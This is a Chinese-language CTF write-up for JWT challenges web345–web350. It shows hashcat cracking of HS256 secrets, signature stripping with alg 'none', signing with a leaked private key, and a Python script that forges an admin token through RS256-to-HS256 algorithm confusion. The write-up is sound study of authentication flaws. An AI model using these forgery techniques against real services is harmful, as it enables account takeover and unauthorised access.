JWT
web345
查看源码发现提示 /admin
然后查看请求 JWT,可以发现就没有加密

这里可以看到换表是这个,但是我修改 user 为 admin,然后加密后不行,但是修改 alg 的参数反而可以得到


但是在 burp 的编码工具中这样修改就可以,没懂为什么


web346
burp 抓包,可以看到有了加密

用 hashcat 开爆
hashcat -a 0 -m 16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc2NDQxNjg4OSwiZXhwIjoxNzY0NDI0MDg5LCJuYmYiOjE3NjQ0MTY4ODksInN1YiI6InVzZXIiLCJqdGkiOiI0YjVkZDMzZWJiZmU5YmQyMDE5Y2JlNGFhYjQ2NmM3OCJ9.cCKr9ivDl0ZB8RCqlF-eZtFXZJRspjH_V-ZhbjutOK8 rockyou.txt

但是这题考的不是这个,这里考的是绕过签名,有些服务不会校验 JWT 的签名部分,于是可以修改 payload 和加密算法之后将签名部分删除,最后的点不能少


web347
这题就是开爆了,最后密码也是 123456
hashcat -a 0 -m 16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc2NDQxODMyOSwiZXhwIjoxNzY0NDI1NTI5LCJuYmYiOjE3NjQ0MTgzMjksInN1YiI6InVzZXIiLCJqdGkiOiI2MzJjZjQ2MmFmZmRmODE1ZGI4MzRiN2VhODY2ODBkZiJ9.x5llUWVfKlKUU0Lwf6RmiBsDQWqPLqE7WCLQlXacWco wordlist/rockyou.txt

然后可以用 jwt.io 签名也可以用 burp ,这里记录一下 burp 的用法
在 JWT 中选择 New Symmetric Key

生成之后将 k 的值修改为密码的 base64

然后修改 JWT 内容后签名

成功

web348
一样开爆,只是密码不一样,后面都一样了

web349
题目给了一个 js
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
res.cookie('auth',token);
res.end('where is flag?');
});
router.post('/',function(req,res,next){
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth;
var cert = fs.readFileSync(process.cwd()+'//public/public.key'); // get public key
jwt.verify(auth, cert, function(err, decoded) {
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin');
}
});
});
看到这个源码,直接访问 /public.key 和 /private.key 得到公私钥,源码看到用公钥解密,私钥加密,这里就用私钥
选择 New RSA Key


然后修改

web350
给了源码,可以发现加密和上一题是一样的,不过不能访问这个私钥了,但是可以拿到公钥
这里学到的是使用篡改加密算法,这里的原理是
服务器在验证 JWT 的时候,是使用
alg字段来选择加密的方式,服务器没有限制这个的话,攻击者就能修改这个加密算法,利用公钥来签名HS256是对称加密的,加解密都使用同一个密钥RS256是非对称加密的,用公钥或私钥加密,然后用另一个解密这里就可以用 RSA 的公钥来使用 HMAC 生成签名,服务端在解密的时候也是用公钥来作为 HMAC 密钥生成签名,这样签名就合法了,成功篡改了加密的方式
这里自己试了用 burp 发现不太行,最后还是使用星海河师傅的脚本 orz
import jwt
# 原始 JWT 粘贴到这里
orig = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImlhdCI6MTc1NzQ4NDU1NH0.QKpMeBqmdq3D1i-3AXwpwxo1vJd7ZAoKUBD76pmOu8D9jhbXF8enHCECZ53218LPNyjbBG-h6xVycQ7kHi0vLzBJHM0P4zuqCJMd0CkDksNVf0vlznp4LcmxqWHhok38ohY5tNgR1uE5ULDa9rOVt2_T0juJPWDD-h_360-S0NA"
# 解析 JWT,获取头部和载荷
header = jwt.get_unverified_header(orig)
payload = jwt.decode(orig, options={"verify_signature": False})
print("Header:\n",header,"\n","Payload:\n",payload,"\n")
# 修改头部和载荷
header["alg"] = "HS256"
payload["user"] = "admin"
# 重新签名并输出新的 JWT
# 读取公钥全文
with open("public.key", "rb") as f:
key = f.read()
token = jwt.encode(payload, key, algorithm="HS256", headers=header)
print(token)
这里直接利用他给的源码该也可以
参考